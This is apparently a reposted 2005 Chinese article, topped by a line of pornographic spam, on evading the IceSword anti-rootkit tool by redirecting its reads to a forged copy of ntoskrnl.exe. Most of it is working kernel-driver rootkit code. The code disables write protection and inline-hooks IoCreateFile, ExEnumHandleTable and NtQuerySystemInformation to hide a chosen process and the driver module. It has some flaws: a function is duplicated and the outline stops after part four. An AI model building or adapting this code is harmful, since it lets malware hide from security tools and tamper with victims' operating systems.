欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
利用偽造內核文件來(lái)繞過(guò)IceSword的檢測
創(chuàng )建時(shí)間:2005-12-20
文章屬性:原創(chuàng )
文章提交:backspray (nimaozhi_at_163.com)

作者:倪茂志
郵件:backspray008@gmail.com
完成于:2005.12.20


文章分為八個(gè)部分:

                一、為什么需要偽造內核
                二、偽造內核文件
                三、隱藏進(jìn)程
                四、隱藏內核模塊
                五、隱藏服務(wù)
                六、隱藏注冊表
                七、隱藏文件
                八、關(guān)于端口

另:建議先看看最后那些參考文章。


一、為什么需要偽造內核:

    IceSword(以下簡(jiǎn)稱(chēng)IS)為了防止一些關(guān)鍵系統函數(包括所有服務(wù)中斷表中的函數以及IS驅動(dòng)部分要使用到的一些關(guān)鍵函數)被patch,它直接讀取內核文件(以下簡(jiǎn)稱(chēng)“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE結構來(lái)獲取關(guān)鍵系統函數的原始代碼并且把當前內核中所有的關(guān)鍵系統函數還原為windows默認狀態(tài),這樣保證了IS使用到的函數不被patch過(guò)。也許你會(huì )想如果我們把還原后的函數再進(jìn)行patch不還是能躲的過(guò)去嗎?筆者也試過(guò),還專(zhuān)門(mén)寫(xiě)了ring0的Timer來(lái)不停的patch自己想hook的函數。結果IS棋高一籌,在對所有的關(guān)鍵系統函數進(jìn)行還原以后,IS每次調用這些函數前都會(huì )先把這些函數還原一次。這樣還是能保證IS自己使用到的關(guān)鍵系統函數不被patch。也許你還會(huì )想縮小Timer的時(shí)間間隔,以致于IS對這些函數進(jìn)行還原后,這些函數馬上又被我們patch,這樣IS再調用這些函數時(shí)不還是執行了我們patch過(guò)的函數。這種想法粗略看起來(lái)可以,但你仔細一想就知道是不行的。

    治病還是得治本,也許你想過(guò)不如直接修改ntoskrnl.exe文件內容,使得IS一開(kāi)始讀入的就已經(jīng)是我們patch過(guò)得函數內容,這樣不就躲過(guò)去了。這種想法有兩個(gè)很大的副作用:

    1、在通常的默認情況下,windows的系統文件保護是打開(kāi)的,要停止這種系統文件保護要付出很大的代價(jià),有可能需要重啟。

    2、就算你停止了系統文件保護,也成功修改了ntoskrnl.exe,但是你不能保證系統每次都能正常關(guān)機
       假如系統非法關(guān)機重啟,由于你還來(lái)未對ntoskrnl.exe進(jìn)行還原,此時(shí)會(huì )發(fā)生什么情況我也就不多說(shuō)了。

    而偽造內核文件就很好的避免了上面談的兩大副作用。主要處理下面三個(gè)點(diǎn):

    1、截獲并修改IS打開(kāi)ntoskrnl.exe消息,使它指向我要偽造的內核文件(假設為“otoskrnl.exe”)

    2、在內核文件中定位我們要修改的數據。

    3、隱藏我們偽造的“otoskrnl.exe”,這點(diǎn)請看本文的第七部分。



二、    偽造內核文件:

先說(shuō)一下本文hook函數的方式:

    1、取該函數起始地址的前六個(gè)字節內容保留在unsigned char resume[6]中。

    2、把構造的兩條指令push xxxxxxxx(我們自己構造的函數地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個(gè)字節)中。

    3、把該函數起始址的6個(gè)字節替換成crackcode[6]的內容。這樣系統調用該函數時(shí)就會(huì )先跳到xxxxxxxx地址去執行我們構造的函數。

    而我們構造的xxxxxxxx函數的主要結構如下:

    1、把我們hook的那個(gè)函數起始的前6個(gè)字節用resume[6]內容進(jìn)行還原。

    2、對傳遞的程序參數進(jìn)行處理等。

    3、調用被還原后的函數。

    4、此時(shí)可以處理函數返回后的數據等。

    5、把還原后的那個(gè)函數的起始地址前6個(gè)字節再用crackcode[6]內容進(jìn)行替換。

    6、返回。


    IS是通過(guò)IoCreateFile函數來(lái)打開(kāi)ntoskrnl.exe,因此我們只要hook這個(gè)函數,并檢查其打開(kāi)的文件名,如果是打開(kāi)ntoskrnl.exe的話(huà),我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對于ntoskrnl.exe文件的操作都會(huì )指向otoskrnl.exe, 當然前提是你在進(jìn)入驅動(dòng)前記得先把ntoskrnl.exe在原目錄下復制一份并命名為otoskrnl.exe。

    關(guān)于我們要修改的數據在ntoskrnl.exe中偏移的算法也很簡(jiǎn)單,這里給出公式如下:

    函數在中文件偏移=當前函數在內存中的地址 - 當前函數所在驅動(dòng)模塊的起始地址

    舉個(gè)例子來(lái)說(shuō),假設IoCreateFile在內核中的內存地址是0x8056d1234,由于它是在內存中ntoskrnl.exe模塊中,假設ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盤(pán)上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。

    再進(jìn)行詳細點(diǎn)說(shuō)明:假設你對IoCreateFile函數進(jìn)行了patch,使得該函數起始地址的6前六節的數據XXXXXX變成了YYYYYY。那么你只要打開(kāi)otoskrnl.exe,把文件偏移調整到上面所說(shuō)的0x110123處,在寫(xiě)入6個(gè)字節的數據YYYYYY。那么當IS打開(kāi)otoskrnl.exe的話(huà),讀出的數據就是YYYYYY了!

    下面的代碼實(shí)現兩個(gè)功能,一個(gè)功能就是hook了IoCreateFile函數,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一個(gè)功能就是進(jìn)行偽造內核(函數RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數內容就是我們要hook的函數在內存中的地址。RepairDataPtr是指向字符crackcode[6]第一個(gè)字節的指針。主要功能就是先把要hook的函數地址在otoskrnl.exe文件中進(jìn)行定位,然后再把crackcode[6]內容寫(xiě)進(jìn)去。

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#include "string.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

PCWSTR    NTOSKRNL=L"ntoskrnl.exe"

unsigned char ResumCodeIoCreateFile[6];
unsigned char CrackCodeIoCreateFile[6];

typedef NTSTATUS ( *IOCREATEFILE )(

  OUT PHANDLE                FileHandle,
  IN ACCESS_MASK            DesiredAccess,
  IN POBJECT_ATTRIBUTES            ObjectAttributes,
  OUT PIO_STATUS_BLOCK            IoStatusBlock,
  IN PLARGE_INTEGER            AllocationSize OPTIONAL,
  IN ULONG                FileAttributes,
  IN ULONG                ShareAccess,
  IN ULONG                Disposition,
  IN ULONG                CreateOptions,
  IN PVOID                EaBuffer OPTIONAL,
  IN ULONG                EaLength,
  IN CREATE_FILE_TYPE            CreateFileType,
  IN PVOID                ExtraCreateParameters OPTIONAL,
  IN ULONG                Options );

IOCREATEFILE    OldIoCreateFile;

DWORD GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;

            RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
            return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );    

}

NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
{
    NTSTATUS Status;    
    HANDLE FileHandle;
    OBJECT_ATTRIBUTES FObject;
    IO_STATUS_BLOCK IOSB;
    UNICODE_STRING    FileName;
    LARGE_INTEGER NtosFileOffset;

                RtlInitUnicodeString (
                            &FileName,
                            L"\\SystemRoot\\system32\\otoskrnl.exe" );

                InitializeObjectAttributes (
                                 &FObject,
                                 &FileName,
                                 OBJ_KERNEL_HANDLE,
                                 NULL,
                                 NULL);
                Status = ZwCreateFile(
                            &FileHandle,
                            FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
                            &FObject,
                            &IOSB,
                            NULL,
                            FILE_ATTRIBUTE_NORMAL,
                            0,
                            FILE_OPEN,
                            FILE_NON_DIRECTORY_FILE,
                            NULL,
                            0
                             );
                if ( Status != STATUS_SUCCESS )
                {
                    return Status;
                }

                //下面計算出函數在otoskrnl.exe中的偏移,NtoskrnlBase就是
                //Ntoskrnl.exe在內存中的起始地址,在第四部分隱藏內核模塊
                //時(shí)會(huì )提到它的獲取方法。

                NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;

                Status = ZwWriteFile(
                            FileHandle,
                            NULL,
                            NULL,
                            NULL,
                            &IOSB,
                            (unsigned char *)RepairDataPtr,
                            0x6,
                            &NtosFileOffset,
                            NULL);
                if ( Status != STATUS_SUCCESS )
                {
                    return Status;
                }
                Status = ZwClose( FileHandle );
                if ( Status != STATUS_SUCCESS )
                {
                    return Status;
                }
                return STATUS_SUCCESS;    

}

NTSTATUS NewIoCreateFile (

  OUT PHANDLE                FileHandle,
  IN ACCESS_MASK            DesiredAccess,
  IN POBJECT_ATTRIBUTES            ObjectAttributes,
  OUT PIO_STATUS_BLOCK            IoStatusBlock,
  IN PLARGE_INTEGER            AllocationSize OPTIONAL,
  IN ULONG                FileAttributes,
  IN ULONG                ShareAccess,
  IN ULONG                Disposition,
  IN ULONG                CreateOptions,
  IN PVOID                EaBuffer OPTIONAL,
  IN ULONG                EaLength,
  IN CREATE_FILE_TYPE            CreateFileType,
  IN PVOID                ExtraCreateParameters OPTIONAL,
  IN ULONG                Options )

{
    NTSTATUS Status;
    PCWSTR IsNtoskrnl = NULL;
    PCWSTR FileNameaddr=NULL;

        _asm    //對IoCreateFile函數進(jìn)行還原
        {
            pushad
            mov edi, OldIoCreateFile
            mov eax, dword ptr ResumCodeIoCreateFile[0]
            mov [edi], eax
            mov ax, word ptr ResumCodeIoCreateFile[4]
            mov [edi+4], ax
            popad
        }

        
        _asm    //獲取要打開(kāi)的文件名地址
        {
            pushad
            mov edi, ObjectAttributes
            mov eax, [edi+8]
            mov edi, [eax+4]
            mov FileNameaddr, edi
            popad
        }

        IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時(shí)打開(kāi)ntoskrnl.exe

        if ( IsNtoskrnl != NULL )
        {
            _asm    //是的話(huà),則把ntoskrnl.exe替換成otoskrnl.exe
            {
                pushad
                mov edi, IsNtoskrnl
                mov [edi], 0x006F
                popad
            }
        }

        Status = OldIoCreateFile (
            
                        FileHandle,
                        DesiredAccess,
                        ObjectAttributes,
                        IoStatusBlock,
                        AllocationSize OPTIONAL,
                        FileAttributes,
                        ShareAccess,
                        Disposition,
                        CreateOptions,
                        EaBuffer OPTIONAL,
                        EaLength,
                        CreateFileType,
                        ExtraCreateParameters OPTIONAL,
                        Options );

        _asm //把還原后的代碼又替換成我們偽造的代碼
            {
                pushad
                mov edi, OldIoCreateFile
                mov eax, dword ptr CrackCodeIoCreateFile[0]
                mov [edi], eax
                mov ax, word ptr CrackCodeIoCreateFile[4]
                mov [edi+4], ax
                popad
            }        
        return Status;

}


NTSTATUS PatchIoCreateFile()
{
    NTSTATUS Status;
            
            OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");

            if ( OldIoCreateFile == NULL )
            {
                DbgPrint("Get IoCreateFile Addr Error!!");
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            _asm  //關(guān)中斷
               {
                CLI                
                MOV    EAX, CR0    
                AND EAX, NOT 10000H  
                MOV    CR0, EAX        
            }
            _asm
            {
                pushad
                //獲取 IoCreateFile 函數的地址并保留該函數的起始六個(gè)字節
                mov edi, OldIoCreateFile
                mov eax, [edi]
                mov dword ptr ResumCodeIoCreateFile[0], eax
                mov ax, [edi+4]
                mov word  ptr ResumCodeIoCreateFile[4], ax
                
                //構造要替換的代碼,使得系統調用函數時(shí)跳到我們構造的NewIoCreateFile去執行
                mov byte ptr CrackCodeIoCreateFile[0], 0x68
                lea edi, NewIoCreateFile
                mov dword ptr CrackCodeIoCreateFile[1], edi
                mov byte ptr CrackCodeIoCreateFile[5], 0xC3

                //把構造好的代碼進(jìn)心替換
                mov edi, OldIoCreateFile
                mov eax, dword ptr CrackCodeIoCreateFile[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeIoCreateFile[4]
                mov word ptr[edi+4], ax
                popad
            }

            _asm //開(kāi)中斷
            {
                MOV    EAX, CR0      
                OR    EAX, 10000H            
                MOV    CR0, EAX              
                STI                    
            }

            Status = RepairNtosFile(
                            (DWORD)OldIoCreateFile,
                            (DWORD)(&CrackCodeIoCreateFile));

            return Status;

}

    上面給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來(lái)獲取函數地址)以及RepairNtosFile()(功能上文已經(jīng)介紹)函數。為節省版面,在下面的代碼中將直接對其進(jìn)行引用,而不再貼出它們的代碼。下面的代碼將不會(huì )再include頭文件。而是直接定義自己所使用到的變量。其中include的投文件與上面的代碼相同,另外本文中所有的例子都沒(méi)有給出Unloaded例程(浪費版面),自己看著(zhù)寫(xiě)了另外,本文貼出的所有代碼,除了第六部分代碼只在XP下測試通過(guò),其他代碼均再2K及XP下測試并通過(guò)。筆者在寫(xiě)這些代碼時(shí)雖然兼顧到了2K3,但是筆者并沒(méi)有在2K3中測試過(guò)這些代碼。這些代碼中夾雜了一些匯編指令。這些匯編指令產(chǎn)生主要有兩種原因:一是當時(shí)的我認為某些東西用匯編指令來(lái)表示非常直觀(guān),如還原與替換函數代碼那個(gè)部分。二是在分析一些數據時(shí),由于眼前面對的是純16進(jìn)制的數據,于是也沒(méi)多想咔咔就用匯編寫(xiě)了一個(gè)循環(huán)下來(lái)。如果給你閱讀代碼造成了不便,筆者在這表示歉意。


三、    隱藏進(jìn)程

    對付IS枚舉進(jìn)程ID的思路是這樣的,hook系統函數ExEnumHandleTable,使它先運行我們指定的函數NewExEnumHandleTable,在NewExEnumHandleTable函數中,我們先獲取它的回調函數參數Callback所指向的函數地址,把它所指向的函數地址先放到OldCallback中,然后用我們構造的新的回調函數FilterCallback去替換掉原來(lái)的Callback。這樣該函數在執行回調函數時(shí)就會(huì )先調用我們給它的FilterCallback回調函數。在我們設計的FilterCallback中,判斷當前進(jìn)程ID是否時(shí)我們要隱藏的進(jìn)程ID,不是的話(huà)則把參數傳給OldCallback去執行,如果是的話(huà)則直接return。這樣就起到隱藏進(jìn)程的作用。

    以上是對付IS的,對于應付windows進(jìn)程管理的方法,與sinister使用的方法大體相同,不過(guò)有些不同。sinister是通過(guò)比較進(jìn)程名來(lái)確定自己要隱藏的進(jìn)程。這種方法對于隱藏要啟動(dòng)兩個(gè)和兩個(gè)以上相同名字的進(jìn)程比較可取,但問(wèn)題是如果你只是要隱藏一個(gè)進(jìn)程的話(huà)。那么這個(gè)方法就顯得不完美了。完全可以通過(guò)直接比較進(jìn)程ID來(lái)確定自己要隱藏的進(jìn)程。建議不到不得以的時(shí)候盡量不要使用比較文件名的方法,太影響效率。

    下面的代碼中,GetProcessID()函數是用來(lái)從注冊表中讀取要隱藏的進(jìn)程ID,當然首先你要在注冊表設置這個(gè)值。用注冊表還是很方便的。

    PatchExEnumHandleTable()函數是通過(guò)hook系統函數ExEnumHandleTable函數實(shí)現在IS中隱藏目標進(jìn)程,PatchNtQuerySystemInformation ()函數是通過(guò)hook系統函數NtQuerySystemInformation并通過(guò)比較進(jìn)程ID的方法實(shí)現隱藏進(jìn)程。


HANDLE ProtectID;
unsigned char ResumCodeExEnumHandleTable[6];
unsigned char CrackCodeExEnumHandleTable[6];
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];

typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

  IN ULONG                        SystemInformationClass,
  OUT PVOID                        SystemInformation,
  IN ULONG                        SystemInformationLength,
  OUT PULONG                        ReturnLength OPTIONAL  );

NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

typedef VOID (*EXENUMHANDLETABLE)  
(  
    PULONG        HandleTable,  
    PVOID        Callback,  
    PVOID        Param,  
    PHANDLE        Handle  OPTIONAL
);

EXENUMHANDLETABLE    OldExEnumHandleTable;

typedef BOOL (*EXENUMHANDLETABLECALLBACK)
(
    DWORD   HANDLE_TALBE_ENTRY,
    DWORD    PID,
    PVOID    Param
);

EXENUMHANDLETABLECALLBACK    OldCallback;

NTSTATUS GetProcessID (
            IN PUNICODE_STRING theRegistryPath
            )
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    NTSTATUS Status;

    HANDLE KeyHandle;
    PHANDLE Phandle;
    PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
    ULONG valueInfoLength,returnLength;

    UNICODE_STRING UnicodeProcIDreg;


            InitializeObjectAttributes (
                            &ObjectAttributes,
                            theRegistryPath,
                            OBJ_CASE_INSENSITIVE,
                            NULL,
                            NULL );

            Status = ZwOpenKey (
                        &KeyHandle,
                        KEY_ALL_ACCESS,
                        &ObjectAttributes );

            if (Status != STATUS_SUCCESS)
            {
                DbgPrint("ZwOpenKey Wrong\n");
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            RtlInitUnicodeString (
                        &UnicodeProcIDreg,
                        L"ProcessID" );

            valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);

            valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
                                            NonPagedPool,
                                            valueInfoLength );
            Status = ZwQueryValueKey (
                            KeyHandle,
                            &UnicodeProcIDreg,
                            KeyValuePartialInformation,
                            valueInfoP,
                            valueInfoLength,
                            &returnLength );

            if (Status != STATUS_SUCCESS)
            {
                DbgPrint("ZwOpenKey Wrong\n");
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            Phandle = (PHANDLE)(valueInfoP->Data);

            ProtectID = *Phandle;

            ZwClose(KeyHandle);

            return STATUS_SUCCESS;

}

BOOL FilterCallback (
            DWORD   HANDLE_TALBE_ENTRY,
            DWORD    PID,
            PVOID    Param )
{

        if ( PID != (DWORD)ProtectID)    //判斷是否是我們要隱藏的進(jìn)程
        {
            return OldCallback (
                        HANDLE_TALBE_ENTRY,
                        PID,
                        Param );
        }
        else
        {
            return FALSE; //是的話(huà)直接返回
        }
}

BOOL FilterCallback (
            DWORD   HANDLE_TALBE_ENTRY,
            DWORD    PID,
            PVOID    Param )
{

        if ( PID != (DWORD)ProtectID)    //判斷是否是我們要隱藏的進(jìn)程
        {
            return OldCallback (
                        HANDLE_TALBE_ENTRY,
                        PID,
                        Param );
        }
        else
        {
            return FALSE; //是的話(huà)直接返回
        }
}



VOID NewExEnumHandleTable(
                PULONG        HandleTable,  
                PVOID        Callback,  
                PVOID        Param,  
                PHANDLE        Handle  OPTIONAL )    
{

        OldCallback = Callback; //把Callback參數給OldCallback進(jìn)行保留

        Callback = FilterCallback; //用FilterCallback替換調原來(lái)的Callback

        _asm  //還原
        {
            pushad
            mov edi, OldExEnumHandleTable
            mov eax, dword ptr ResumCodeExEnumHandleTable[0]
            mov [edi], eax
            mov ax, word ptr ResumCodeExEnumHandleTable[4]
            mov [edi+4], ax
            popad
        }

            OldExEnumHandleTable (
                        HandleTable,  
                        Callback,  
                        Param,  
                        Handle  OPTIONAL );
        _asm //替換
        {
            pushad
            mov edi, OldExEnumHandleTable
            mov eax, dword ptr CrackCodeExEnumHandleTable[0]
            mov [edi], eax
            mov ax, word ptr CrackCodeExEnumHandleTable[4]
            mov [edi+4], ax
            popad
        }
        return ;
}

NTSTATUS PatchExEnumHandleTable()
{
    NTSTATUS Status;

             OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");

             if ( OldExEnumHandleTable == NULL )
             {
                 DbgPrint("Get ExEnumHandleTable Addr Error!!");
                 return STATUS_DEVICE_CONFIGURATION_ERROR;
             }

             _asm    //關(guān)中斷
               {
                CLI                    
                MOV    EAX, CR0  
                AND EAX, NOT 10000H
                MOV    CR0, EAX  
            }
             _asm
            {
                pushad
                //獲取ExEnumHandleTable函數的地址并保留該函數的起始六個(gè)字節
                mov edi, OldExEnumHandleTable
                mov eax, [edi]
                mov dword ptr ResumCodeExEnumHandleTable[0], eax
                mov ax, [edi+4]
                mov word  ptr ResumCodeExEnumHandleTable[4], ax
                
                //構造要替換的代碼,使得系統調用該函數時(shí)跳到我們構造的NewExEnumHandleTable去執行
                mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
                lea edi, NewExEnumHandleTable
                mov dword ptr CrackCodeExEnumHandleTable[1], edi
                mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3

                //把構造好的代碼進(jìn)心替換
                mov edi, OldExEnumHandleTable
                mov eax, dword ptr CrackCodeExEnumHandleTable[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeExEnumHandleTable[4]
                mov word ptr[edi+4], ax
                popad
            }

             _asm //開(kāi)中斷
            {
                MOV    EAX, CR0        
                OR    EAX, 10000H  
                MOV    CR0, EAX          
                STI          
            }
            
            Status = RepairNtosFile(
                        (DWORD)OldExEnumHandleTable,
                        (DWORD)(&CrackCodeExEnumHandleTable) );

            return Status;
}

NTSTATUS NewNtQuerySystemInformation(

  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL )
{
    NTSTATUS Status;
    DWORD     Bprocess;

        _asm  
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }

        Status=OldNtQuerySystemInformation (
                            SystemInformationClass,
                            SystemInformation,
                            SystemInformationLength,
                            ReturnLength OPTIONAL );
        _asm
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }

        if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
        {
            return Status;
        }

        _asm
        {
            pushad

            mov ecx, ProtectID
            mov edi, SystemInformation

ProcessListNEnd:
            mov Bprocess, edi
            mov eax, [edi]
            test eax, eax
            jz ProcessListEnd
            add edi, eax

            mov eax, [edi+0x44]
            cmp eax, ecx
            jz FindOut
            jmp ProcessListNEnd
FindOut:
            mov ebx, [edi]
            test ebx, ebx
            jz listend
            mov eax, Bprocess
            mov edx, [eax]
            add ebx, edx
            mov [eax], ebx
            jmp hideOK

listend:
            mov eax,    Bprocess
            mov [eax],  0
hideOK:    
            
ProcessListEnd:

            popad
        }
        return Status;
}




NTSTATUS PatchNtQuerySystemInformation ()
{
    NTSTATUS Status;
            
            OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");

            if ( OldNtQuerySystemInformation == NULL )
            {
                DbgPrint("Get NtQuerySystemInformation Addr Error!!");
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            _asm    //關(guān)中斷
               {
                CLI        
                MOV    EAX, CR0        
                AND EAX, NOT 10000H
                MOV    CR0, EAX        
            }
            _asm
            {
                pushad
                //獲取 NtQuerySystemInformation 函數的地址并保留該函數的起始六個(gè)字節
                mov edi, OldNtQuerySystemInformation
                mov eax, [edi]
                mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
                mov ax, [edi+4]
                mov word  ptr ResumCodeNtQuerySystemInformation[4], ax
                
                //構造要替換的代碼,使得系統調用該函數時(shí)跳到我們構造的NewNtQuerySystemInformation去執行
                mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
                lea edi, NewNtQuerySystemInformation
                mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
                mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3

                //把構造好的代碼進(jìn)心替換
                mov edi, OldNtQuerySystemInformation
                mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                mov word ptr[edi+4], ax
                popad
            }
            _asm //開(kāi)中斷
            {
                MOV    EAX, CR0      
                OR    EAX, 10000H          
                MOV    CR0, EAX              
                STI                    
            }
            Status = RepairNtosFile(
                            (DWORD)OldNtQuerySystemInformation,
                            (DWORD)(&CrackCodeNtQuerySystemInformation) );

            return Status;

}


四、隱藏內核模塊

    對于內核模塊,我原以為IS會(huì )通過(guò)獲取內核變量PsLoadedModuleList,然后在通過(guò)這個(gè)來(lái)遍歷所有的內核模塊。假設此時(shí)獲得結果1。通過(guò)調用函數NtQuerySystemInformation,參數SystemModuleInformation,假設此時(shí)獲得結果2。再把結果1與結果2進(jìn)行比較,這樣就會(huì )發(fā)現被隱藏的模塊。但事實(shí)證明我想的太復雜了。而IS只進(jìn)行了獲取結果2的過(guò)程。而沒(méi)有去執行獲取結果1的過(guò)程。

    下面的代碼可以在IS下隱藏自己的內核模塊,主要思路是,首先獲取一個(gè)自己這個(gè)模塊中任意函數的地址,把該地址給DriverAddr,利用DriverAddr在上述的結果2中定位,通過(guò)DriverAddr肯定會(huì )大于自己這個(gè)模塊的起始地址并且小于自己這個(gè)模塊的結束地址來(lái)定位。

DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL  );

NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

NTSTATUS NewNtQuerySystemInformation(

  IN ULONG        SystemInformationClass,
  OUT PVOID        SystemInformation,
  IN ULONG        SystemInformationLength,
  OUT PULONG        ReturnLength OPTIONAL )
{
    NTSTATUS Status;

        _asm  //還原
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }
        
        Status = ZwQuerySystemInformation (
                            SystemInformationClass,
                            SystemInformation,
                            SystemInformationLength,
                            ReturnLength OPTIONAL );
        _asm //替換
        {
            pushad
            mov edi, OldNtQuerySystemInformation
            mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
            mov [edi], eax
            mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
            mov [edi+4], ax
            popad
        }

        if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )  //是否是獲取模塊信息
        {
            return Status;  
        }

        _asm
        {
            pushad

            mov edi, SystemInformation
            mov ecx, [edi]            //eax=模塊數目
            add edi, 0x4

NextModuleInfo:

            mov eax, [edi+0x8]    
            mov edx, [edi+0xC]  
            
            add edx, eax    
            mov ebx, DriverAddr

            cmp ebx, eax
            ja    FirstMatch
            dec ecx
            test ecx, ecx
            jz  ArrayEnd

            add edi, 0x11c
            jmp NextModuleInfo

FirstMatch:
            cmp ebx, edx
            jb SecMatch    //找到的話(huà)則跳去把該模塊以后的模塊數據前移已覆蓋掉此模塊

            dec ecx
            test ecx, ecx
            jz  ArrayEnd
            add edi, 0x11c
            jmp NextModuleInfo
SecMatch:
            dec ecx
            xor eax, eax
            mov ax, 0x11c
            mul cx
            xor ecx, ecx
            mov ecx, eax
            mov esi, edi
            add esi, 0x11c
            rep movsb
            mov edi, SystemInformation
            mov eax, [edi]
            dec eax
            mov [edi], eax            //完成
ArrayEnd:
            popad
        }
        return Status;
}

NTSTATUS PatchNtQuerySystemInformation()
{
    NTSTATUS Status;
            
            OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );

            if ( OldNtQuerySystemInformation == NULL )
            {
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            _asm    //關(guān)中斷
            {
                CLI                  
                MOV    EAX, CR0      
                AND EAX, NOT 10000H
                MOV    CR0, EAX      
            }

            _asm
            {
                pushad
                //獲取 NtQuerySystemInformation 函數的地址并保留該函數的起始六個(gè)字節

                lea eax, NewNtQuerySystemInformation    
                mov DriverAddr, eax //把NewNtQuerySystemInformation函數地址給DriverAddr

                mov edi, OldNtQuerySystemInformation
                mov eax, [edi]
                mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
                mov ax, [edi+4]
                mov word  ptr ResumCodeNtQuerySystemInformation[4], ax
                
                //構造要替換的代碼,使得系統調用該函數時(shí)跳到我們構造的NewNtQuerySystemInformation去執行
                mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
                lea edi, NewNtQuerySystemInformation
                mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
                mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3

                //把構造好的代碼進(jìn)行替換
                mov edi, OldNtQuerySystemInformation
                mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                mov word ptr[edi+4], ax
                popad
            }

            _asm //開(kāi)中斷
            {
                MOV    EAX, CR0      
                OR    EAX, 10000H        
                MOV    CR0, EAX          
                STI                    
            }

            Status = RepairNtosFile (
                            (DWORD)OldNtQuerySystemInformation,
                            (DWORD)&CrackCodeNtQuerySystemInformation[0] );
            return Status;
            
}
    你可能發(fā)現上面這段代碼hook的也是NtQuerySystemInformation函數,而在隱藏進(jìn)程中不是已經(jīng)hook了NtQuerySystemInformation函數,這樣不是造成重合了。在實(shí)際操作中,你只要hook一次NtQuerySystemInformation函數,然后在自己定義NewNtQuerySystemInformation中增加幾個(gè)選擇項就是了。我這樣寫(xiě)是為了便于理解,使它們每個(gè)部分自成一體,如果按實(shí)際代碼搬出來(lái)的話(huà),顯得太支離破碎(支離破碎的支到底是這個(gè)“支”還是這個(gè)“肢”??)了。

